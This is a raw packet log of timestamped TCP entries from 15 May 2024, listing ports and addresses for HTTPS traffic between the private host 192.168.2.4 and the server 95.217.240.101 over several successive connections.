May 15, 2024 20:35:51.225575924 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:51.225739956 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:51.226167917 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:51.226177931 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:51.967655897 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:51.967739105 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:51.972084999 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:51.972090960 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:51.972296953 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:51.972352028 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:51.972640991 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.020127058 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:52.523298979 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:52.523364067 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:52.523390055 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.523421049 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.528031111 CEST	49731	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.528048038 CEST	443	49731	95.217.240.101	192.168.2.4
May 15, 2024 20:35:52.530442953 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.530478954 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:52.530564070 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.530831099 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:52.530847073 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.003607035 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.003669977 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.004223108 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.004229069 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.006026030 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.006031990 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.896611929 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.896672964 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.896709919 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.896873951 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.896941900 CEST	49732	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.896955013 CEST	443	49732	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.898546934 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.898566961 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:53.898648977 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.898866892 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:53.898880005 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:54.364252090 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:54.364336014 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:54.365077019 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:54.365082979 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:54.366694927 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:54.366699934 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.240196943 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.240227938 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.240287066 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.240338087 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.240365982 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.240637064 CEST	49733	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.240654945 CEST	443	49733	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.242537022 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.242563009 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.242651939 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.242862940 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.242872000 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.708503008 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.708595037 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.709259033 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.709264040 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:55.711061001 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:55.711065054 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.579741955 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.579775095 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.579838991 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.579965115 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.579965115 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.580218077 CEST	49734	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.580226898 CEST	443	49734	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.582036972 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.582072020 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:56.582149982 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.582360983 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:56.582379103 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.047574997 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.047646999 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.048132896 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.048155069 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.049902916 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.049916983 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.936156034 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.936227083 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.936357021 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.936625957 CEST	49735	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.936641932 CEST	443	49735	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.992208004 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.992242098 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:57.992317915 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.992527008 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:57.992533922 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.459124088 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.459213972 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.460091114 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.460104942 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.462038040 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.462044954 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.462117910 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.462130070 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.980999947 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.981039047 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:35:58.981126070 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.981391907 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:58.981405973 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.415707111 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.415802956 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.415915966 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:59.416953087 CEST	49736	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:59.416969061 CEST	443	49736	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.448205948 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.448276997 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:59.448715925 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:59.448721886 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:35:59.450473070 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:35:59.450476885 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.188930035 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.188982010 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.189007044 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.189022064 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.189052105 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.189062119 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.189105034 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.189131021 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.294585943 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.294606924 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.294698000 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.294711113 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.294751883 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.443916082 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.443938971 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.443994999 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.444006920 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.444040060 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.546825886 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.546854973 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.546940088 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.546952009 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.546993971 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.625664949 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.625684977 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.625756979 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.625765085 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.625804901 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.682224035 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.682255983 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.682328939 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.682342052 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.682379007 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.682399988 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.728302002 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.728322029 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.728414059 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.728421926 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.728458881 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.770004988 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.770021915 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.770095110 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.770103931 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.770142078 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.814878941 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.814894915 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.814986944 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.814995050 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.815043926 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.859046936 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.859066010 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.859132051 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.859138966 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.859164953 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.859180927 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.897353888 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.897372961 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.897459984 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.897465944 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.897505999 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.924133062 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.924185038 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.924226046 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.924232006 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.924271107 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.924288988 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.950184107 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.950202942 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.950273991 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.950282097 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.950320959 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.972244024 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.972286940 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.972316027 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.972328901 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.972361088 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.972373009 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.994633913 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.994649887 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.994699955 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:00.994712114 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:00.994741917 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.017386913 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.017414093 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.017451048 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.017460108 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.017483950 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.017494917 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.037072897 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.037095070 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.037158012 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.037163973 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.037198067 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.055634022 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.055654049 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.055721045 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.055727959 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.055759907 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.055777073 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.072356939 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.072384119 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.072441101 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.072446108 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.072473049 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.072484970 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.089694977 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.089711905 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.089782953 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.089790106 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.089828968 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.105006933 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.105036020 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.105082035 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.105088949 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.105125904 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.105139017 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.122306108 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.122323036 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.122386932 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.122391939 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.122427940 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.136533976 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.136553049 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.136615038 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.136622906 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.136662960 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.151364088 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.151381016 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.151480913 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.151489973 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.151526928 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.166563034 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.166579962 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.166647911 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.166654110 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.166692019 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.179235935 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.179253101 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.179349899 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.179356098 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.179392099 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.193490982 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.193506002 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.193578005 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.193592072 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.193629026 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.204168081 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.204202890 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.204232931 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.204237938 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.204266071 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.204277039 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.217502117 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.217519045 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.217605114 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.217612982 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.217648983 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.228322029 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.228343010 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.228418112 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.228425026 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.228466988 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.240422010 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.240443945 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.240523100 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.240533113 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.240573883 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.251300097 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.251315117 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.251375914 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.251380920 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.251416922 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.261003017 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.261017084 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.261075974 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.261080980 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.261118889 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.270301104 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.270320892 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.270375013 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.270380974 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.270418882 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.280774117 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.280788898 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.280927896 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.280932903 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.280972958 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.290265083 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.290281057 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.290338993 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.290344954 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.290502071 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.298754930 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.298770905 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.298826933 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.298831940 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.298862934 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.309112072 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.309156895 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.309189081 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.309195042 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.309345007 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.309345007 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.316287994 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.316303968 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.316368103 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.316374063 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.316411018 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.324696064 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.324722052 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.324768066 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.324774027 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.324803114 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.324820042 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.332246065 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.332282066 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.332326889 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.332331896 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.332375050 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.341017962 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.341073036 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.341084003 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.341088057 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.341114044 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.348001957 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.348017931 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.348097086 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.348109007 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.348149061 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.355597973 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.355616093 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.355801105 CEST	49737	443	192.168.2.4	95.217.240.101
